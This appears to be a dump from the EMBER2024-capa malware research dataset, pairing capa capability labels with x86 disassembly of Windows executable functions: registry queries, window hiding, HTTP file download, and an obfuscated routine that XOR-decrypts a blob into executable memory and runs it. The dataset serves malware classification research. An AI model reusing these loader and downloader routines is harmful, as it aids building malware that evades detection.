joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4382e0
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov ebx, ecx
mov edi, edx
mov esi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x438457
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00406b24
mov eax, esi
call fcn.00406b24
mov dword [ebp - 0xc], 0x824
mov eax, dword [ebp - 0xc]
add eax, eax
push eax
call fcn.00409b28
pop ecx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x438435
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
add edx, edx
mov eax, dword [ebp - 8]
xor ecx, ecx
call fcn.00404a8c
push 0x2000000
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, edi
call fcn.004073e4
push eax
call sub.wininet.dll_InternetCanonicalizeUrlW
test eax, eax
jne 0x438373
mov byte [ebp - 1], 0
call fcn.0040634c
jmp 0x43843c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x3c
call fcn.00404a8c
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x40], 0x20
mov dword [ebp - 0x34], pe_nt_image_headers32
mov dword [ebp - 0x28], 0x80
mov dword [ebp - 0x20], 0x80
mov dword [ebp - 0x18], 0x800
mov dword [ebp - 0x10], 0x800
lea eax, [ebp - 0x48]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCrackUrlW
test eax, eax
jne 0x4383d5
mov byte [ebp - 1], 0
call fcn.0040634c
jmp 0x43843c
mov edi, dword [ebp - 0x38]
test edi, edi
je 0x4383f7
push ebx
lea eax, [ebp - 0x4c]
mov edx, edi
call fcn.0040743c
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x34]
mov edx, 1
call fcn.00407798
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x438419
push esi
lea eax, [ebp - 0x50]
mov edx, ebx
call fcn.0040743c
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0xc]
mov edx, 1
call fcn.00407798
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43843c
mov eax, dword [ebp - 8]
push eax
call fcn.00409b38
pop ecx
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43845e
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00406b84
ret
Function at 0x438aa4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff814
xor eax, eax
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x438b9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov dword [ebp - 0x10], 0x7d2
lea eax, [ebp - 0xc]
push eax
push 0x438bac
push 0x80000002
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x438b7b
xor eax, eax
push ebp
push 0x438b74
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e6]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x438be4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x438b5d
lea eax, [ebp - 0x7ec]
lea edx, [ebp - 0x7e6]
mov ecx, 0x3e9
call fcn.00407478
mov eax, dword [ebp - 0x7ec]
lea edx, [ebp - 4]
call fcn.00410450
mov edx, dword [ebp - 4]
mov eax, 0x438c14
call fcn.00407904
test eax, eax
jle 0x438b5d
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438b7b
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438ba3
lea eax, [ebp - 0x7ec]
call fcn.00406b24
lea eax, [ebp - 4]
call fcn.00406b24
ret

Function at 0x438c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff814
xor eax, eax
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x438d18
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov dword [ebp - 0x10], 0x7d2
lea eax, [ebp - 0xc]
push eax
push 0x438d28
push 0x80000002
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x438cf7
xor eax, eax
push ebp
push 0x438cf0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e6]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x438d60
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x438cd9
lea eax, [ebp - 0x7ec]
lea edx, [ebp - 0x7e6]
mov ecx, 0x3e9
call fcn.00407478
mov eax, dword [ebp - 0x7ec]
lea edx, [ebp - 4]
call fcn.00410450
mov edx, dword [ebp - 4]
mov eax, 0x438d90
call fcn.00407904
test eax, eax
jle 0x438cd9
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438cf7
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438d1f
lea eax, [ebp - 0x7ec]
call fcn.00406b24
lea eax, [ebp - 4]
call fcn.00406b24
ret
Function at 0x438da0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff818
xor eax, eax
mov dword [ebp - 0x7e8], eax
xor eax, eax
push ebp
push 0x438e82
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push 0x438e94
push 0x80000002
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x438e69
xor eax, eax
push ebp
push 0x438e62
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 7
mov dword [ebp - 0x10], 0x3e8
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e2]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x438ecc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x438e4b
lea eax, [ebp - 0x7e8]
lea edx, [ebp - 0x7e2]
mov ecx, 0x3e9
call fcn.00407478
mov edx, dword [ebp - 0x7e8]
mov eax, 0x438efc
call fcn.00407904
test eax, eax
jle 0x438e4b
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438e69
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438e89
lea eax, [ebp - 0x7e8]
call fcn.00406b24
ret
Function at 0x438f18
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff810
xor eax, eax
mov dword [ebp - 0x7f0], eax
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4390d6
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov dword [ebp - 0x10], 0x7d2
lea eax, [ebp - 0xc]
push eax
push 0x4390e8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x438ff5
xor eax, eax
push ebp
push 0x438fee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e6]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x439120
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x438fd7
lea eax, [ebp - 0x7ec]
lea edx, [ebp - 0x7e6]
mov ecx, 0x3e9
call fcn.00407478
mov eax, dword [ebp - 0x7ec]
lea edx, [ebp - 4]
call fcn.00410450
mov edx, dword [ebp - 4]
mov eax, 0x439150
call fcn.00407904
test eax, eax
jle 0x438fd7
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438ff5
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
cmp byte [ebp - 5], 0
jne 0x4390b0
mov dword [ebp - 0x10], 0x7d2
lea eax, [ebp - 0xc]
push eax
push 0x43915c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x4390b0
xor eax, eax
push ebp
push 0x4390a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x7e6]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x4391f8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x439092
lea eax, [ebp - 0x7f0]
lea edx, [ebp - 0x7e6]
mov ecx, 0x3e9
call fcn.00407478
mov eax, dword [ebp - 0x7f0]
lea edx, [ebp - 4]
call fcn.00410450
mov edx, dword [ebp - 4]
mov eax, 0x439150
call fcn.00407904
test eax, eax
jle 0x439092
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4390b0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4390dd
lea eax, [ebp - 0x7f0]
mov edx, 2
call fcn.00406b84
lea eax, [ebp - 4]
call fcn.00406b24
ret

Function at 0x43de90
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [eax + 4]
push eax
call sub.user32.dll_ShowWindow
pop ebp
ret
Function at 0x43f8e4
Capabilities:
Check for time delay via gettickcount
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
lea eax, [ebp - 8]
mov edx, dword [0x415b7c]
call fcn.00407978
xor eax, eax
push ebp
push 0x43fad5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp word [0x46021a], 0
je 0x43f935
lea eax, [ebp - 8]
xor ecx, ecx
mov edx, 8
call fcn.00404a8c
mov byte [ebp - 8], 4
lea edx, [ebp - 8]
mov eax, ebx
call fcn.0043f688
lea eax, [ebp - 0x24]
call fcn.00413e24
mov eax, dword [ebp - 0x24]
mov edx, 0x460220
call fcn.004151e4
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x43fab1
xor eax, eax
push ebp
push 0x43faaa
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0x4601e8
call sub.kernel32.dll_InterlockedExchange
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov eax, ebx
call fcn.00440120
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x43f998
call fcn.0040634c
jmp 0x43fab1
call sub.kernel32.dll_GetTickCount_1
xor edx, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jne 0x43f9b7
cmp eax, dword [ebp - 0x18]
jae 0x43f9cb
jmp 0x43f9b9
jge 0x43f9cb
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add eax, 0xffffffff
adc edx, 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
fild qword [ebp - 0x2c]
fdiv dword [0x43fae8]
call fcn.0040498c
mov dword [0x460214], eax
cmp dword [0x4601e8], 2
jne 0x43fa03
call fcn.0040634c
jmp 0x43fab1
mov edx, dword [0x45a0e4]
mov edx, dword [edx]
mov eax, dword [0x4157b4]
call fcn.00415880
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x43fa28
call fcn.0040634c
jmp 0x43fab1
cmp dword [0x4601e8], 2
jne 0x43fa38
call fcn.0040634c
jmp 0x43fab1
push 4
push 0x4601e8
call sub.kernel32.dll_InterlockedExchange
mov eax, ebx
call fcn.004402ec
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x43fa5b
call fcn.0040634c
jmp 0x43fab1
mov eax, dword [0x413550]
call fcn.004139f0
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
jne 0x43fa75
call fcn.0040634c
jmp 0x43fab1
push 5
push 0x4601e8
call sub.kernel32.dll_InterlockedExchange
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43fab1
cmp dword [0x4601e8], 2
je 0x43faa9
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.004073e4
push eax
call sub.kernel32.dll_DeleteFileW
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43fadc
lea eax, [ebp - 0x24]
call fcn.00406b24
lea eax, [ebp - 8]
mov edx, dword [0x415b7c]
call fcn.00407a50
ret
Function at 0x43faec
Capabilities:
Check http status code
Create http request
Get http content length

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor eax, eax
push ebp
push 0x43fca7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.00413e24
mov eax, dword [ebp - 4]
call fcn.004073e4
push eax
call sub.wininet.dll_DeleteUrlCacheEntryW
push 0
push 0
push 0
push 0
push 0
call sub.wininet.dll_InternetOpenW
mov dword [0x4601fc], eax
cmp dword [0x4601fc], 0
je 0x43fc84
cmp dword [0x46020c], 0
jbe 0x43fb83
push 0x43fcc4
lea edx, [ebp - 0x18]
mov eax, dword [0x46020c]
call fcn.0040ff94
push dword [ebp - 0x18]
push 0x43fcec
lea eax, [ebp - 8]
mov edx, 3
call fcn.004076b0
mov eax, dword [ebp - 8]
call fcn.004073e4
mov edi, eax
jmp 0x43fb8d
lea eax, [ebp - 8]
call fcn.00406b24
xor edi, edi
mov esi, dword [ebp - 8]
test esi, esi
je 0x43fb99
sub esi, 4
mov esi, dword [esi]
push 0
push 0x84080300
push esi
push edi
mov eax, dword [ebp - 4]
call fcn.004073e4
push eax
mov eax, dword [0x4601fc]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [0x460200], eax
cmp dword [0x460200], 0
je 0x43fc84
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x20000013
mov eax, dword [0x460200]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43fc84
cmp dword [ebp - 0x14], 0xc8
je 0x43fc2b
cmp dword [ebp - 0x14], 0xcb
je 0x43fc2b
cmp dword [ebp - 0x14], 0xce
je 0x43fc2b
cmp dword [ebp - 0x14], 0x1a0
je 0x43fc2b
xor ebx, ebx
jmp 0x43fc2d
mov bl, 1
test bl, bl
je 0x43fc84
mov dword [ebp - 0xc], 4
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x460204
push 0x20000005
mov eax, dword [0x460200]
push eax
call sub.wininet.dll_HttpQueryInfoW
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x43fc84
cmp dword [ebp - 0x14], 0x1a0
jne 0x43fc79
mov eax, dword [0x46020c]
mov dword [0x460204], eax
jmp 0x43fc84
mov eax, dword [0x46020c]
add dword [0x460204], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43fcae
lea eax, [ebp - 0x18]
call fcn.00406b24
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406b84
ret
Function at 0x43fdcc
Capabilities:
Delete file
Get file size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov edi, 0x460208
xor eax, eax
push ebp
push 0x43ff8f
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
mov dl, 1
call fcn.00410130
test al, al
je 0x43feee
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.0040f9f0
fstp qword [ebp - 0x10]
wait
fld qword [0x460228]
fcomp qword [ebp - 0x10]
wait
fnstsw ax
sahf
je 0x43feee
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.004073e4
push eax
call sub.kernel32.dll_DeleteFileW
test eax, eax
jne 0x43feee
lea edx, [ebp - 4]
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.004101cc
lea edx, [ebp - 8]
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.00410dec
mov esi, 1
jmp 0x43fe71
inc esi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0x11
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0x11
lea edx, [ebp - 0x2c]
mov ecx, 2
mov eax, 0x43ffac
call fcn.00410be4
mov eax, dword [ebp - 0x14]
mov dl, 1
call fcn.00410130
test al, al
jne 0x43fe70
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0x11
mov dword [ebp - 0x24], esi
mov byte [ebp - 0x20], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0x11
lea edx, [ebp - 0x2c]
mov ecx, 2
mov eax, 0x43ffac
call fcn.00410be4
mov edx, dword [ebp - 0x30]
mov eax, dword [0x45a0e4]
call fcn.00406f04
cmp dword [0x460208], 0
je 0x43ff00
cmp dword [0x460208], 0xffffffff
jne 0x43ff64
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [0x45a0e4]
mov eax, dword [eax]
call fcn.004073e4
push eax
call sub.kernel32.dll_CreateFileW
mov dword [0x460208], eax
cmp dword [0x460208], 0
je 0x43ff64
cmp dword [0x460208], 0xffffffff
je 0x43ff64
push 2
push 0
push 0
mov eax, dword [0x460208]
push eax
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
setne bl
push 0
mov eax, dword [0x460208]
push eax
call sub.kernel32.dll_GetFileSize
mov dword [0x46020c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ff96
lea eax, [ebp - 0x30]
call fcn.00406b24
lea eax, [ebp - 0x14]
call fcn.00406b24
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406b84
ret
Function at 0x440068
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
lea eax, [ebp - 4]
push eax
push 0x200
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x460200]
push eax
call sub.wininet.dll_InternetReadFile
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x440114
cmp dword [ebp - 4], 0
ja 0x4400a1
xor ebx, ebx
jmp 0x440114
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x460208]
push eax
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x440114
mov eax, dword [ebp - 8]
add dword [0x46020c], eax
mov eax, dword [0x46020c]
mov dword [ebp - 0x210], eax
xor eax, eax
mov dword [ebp - 0x20c], eax
fild qword [ebp - 0x210]
mov eax, dword [0x460204]
mov dword [ebp - 0x218], eax
xor eax, eax
mov dword [ebp - 0x214], eax
fild qword [ebp - 0x218]
fdivp st(1)
fmul dword [0x44011c]
call fcn.0040498c
mov byte [0x460210], al
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44bb20
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
lea eax, [ebx + 0x40]
push eax
mov eax, dword [ebx + 0x2c]
push eax
call sub.user32.dll_GetWindowRect
push 0
mov eax, dword [ebx + 0x2c]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [ebx + 0x2c]
push eax
call sub.user32.dll_CloseWindow
mov eax, dword [ebx + 0x2c]
push eax
call sub.user32.dll_DestroyWindow
pop ebx
pop ebp
ret

Function at 0x44be14
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp byte [eax + 0x3c], 0
je 0x44be2a
push 4
mov eax, dword [eax + 0x2c]
push eax
call sub.user32.dll_ShowWindow
pop ebp
ret
push 0
mov eax, dword [eax + 0x2c]
push eax
call sub.user32.dll_ShowWindow
pop ebp
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x408313
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x408322
pop dword [ebp - 4]
mov eax, 0x4fea83d8
add eax, 0xb055ff4a
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xb7269949
sub dword [ebp - 0x14], 0x68d453fe
mov dword [ebp - 0x10], 0xbd747f4
add dword [ebp - 0x10], 0x265c0451
mov dword [ebp - 0xc], 0x93d88144
sub dword [ebp - 0xc], 0x478c3d16
mov dword [ebp - 8], 0x3accff5b
add dword [ebp - 8], 0xc53300a5
lea eax, [ebp - 0x14]
push eax
mov eax, 0x4ca77e3f
sub eax, 0x4c66adf3
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x12628726
sub dword [ebp - 0x14], 0x9df01dd0
mov dword [ebp - 0x10], 0xab5b5969
add dword [ebp - 0x10], 0x9611080c
mov dword [ebp - 0xc], 0x1b21a486
sub dword [ebp - 0xc], 0xb7b2381a
mov dword [ebp - 8], 0xd88ffe16
add dword [ebp - 8], 0x277001ea
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xb49051d0
add eax, 0x4bb07e78
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x37e53
push 0
call eax
mov ecx, 0xf65271d8
add ecx, 0x9adcff4
mov esi, eax
mov edx, 0xe31b9e58
add edx, 0x1d2611a8
add edx, dword [ebp - 4]
mov ebx, 0x9f7bca5c
sub ebx, 0x2b773aba
mov edi, dword [edx]
xor edi, ebx
mov dword [esi], edi
add esi, 4
add edx, 4
loop 0x408444
add eax, 0x13f643d5
sub eax, 0x13f549d2
xor ebx, ebx
add ebx, eax
add eax, 0xe211b11a
add eax, 0x1dee4eeb
mov ecx, 0xa1d50144
add ecx, 0x5e6afebc
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x1000127d
Capabilities:
Load windows common language runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x1002f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x240], eax
mov eax, dword [ebp + 0x14]
push edi
mov dword [ebp - 0x244], eax
mov eax, dword [ebp + 0x18]
push str.mscoree.dll
mov dword [ebp - 0x248], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
jne 0x100012df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_load_mscoree.dll__Error_code__d_._This_custom_action_requires_the_.NET_Framework_to_be_installed.
push dword [ebp + 8]
call fcn.1000400a
add esp, 0xc
xor al, al
jmp 0x10001420
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetRequestedRuntimeInfo
push edi
call esi
push str.CorBindToRuntimeEx
push edi
mov dword [ebp - 0x23c], eax
call esi
mov esi, eax
mov eax, dword [ebp - 0x23c]
test eax, eax
je 0x100013ff
test esi, esi
je 0x100013ff
xor edx, edx
test ebx, ebx
je 0x1000136e
cmp word [ebx], dx
je 0x1000136e
push 0x14
push ebx
lea eax, [ebp - 0x2c]
push 0x14
push eax
call fcn.100081f2
add esp, 0x10
lea eax, [ebp - 0x2c]
push eax
push str.Binding_to_CLR_version__s
push dword [ebp + 8]
call fcn.1000400a
add esp, 0xc
lea eax, [ebp - 0x238]
push eax
push 0x100192c0
push 0x100192b0
push 2
push 0
lea eax, [ebp - 0x2c]
push eax
call esi
test eax, eax
jns 0x100013b7
push eax
push str.Failed_to_bind_to_the_CLR._Error_code_0x_X
jmp 0x1000140b
push edx
push 0x14
lea ecx, [ebp - 0x2c]
push ecx
push edx
push 0x104
lea ecx, [ebp - 0x234]
push ecx
push edx
push edx
push dword [ebp - 0x240]
push edx
push dword [ebp - 0x244]
call eax
test eax, eax
jns 0x10001330
push eax
push str.Failed_to_get_requested_CLR_info._Error_code_0x_x
push dword [ebp + 8]
call fcn.1000400a
push str.Ensure_that_the_proper_version_of_the_.NET_Framework_is_installed__or_that_there_is_a_matching_supportedRuntime_element_in_CustomAction.config._If_you_are_binding_to_.NET_4_or_greater_add_useLegacyV2RuntimeActivationPolicytrue_to_the__startup__element.
push dword [ebp + 8]
call fcn.1000400a
add esp, 0x14
jmp 0x10001416
mov eax, dword [ebp - 0x238]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x100013e6
push eax
push str.Failed_to_start_the_CLR._Error_code_0x_X
push dword [ebp + 8]
call fcn.1000400a
mov eax, dword [ebp - 0x238]
add esp, 0xc
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x10001416
mov ecx, dword [ebp - 0x248]
mov eax, dword [ebp - 0x238]
push edi
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
jmp 0x1000141f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_locate_functions_in_mscoree.dll__Error_code__d_._This_custom_action_requires_the_.NET_Framework_to_be_installed.
push dword [ebp + 8]
call fcn.1000400a
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10004903
leave
ret 0x14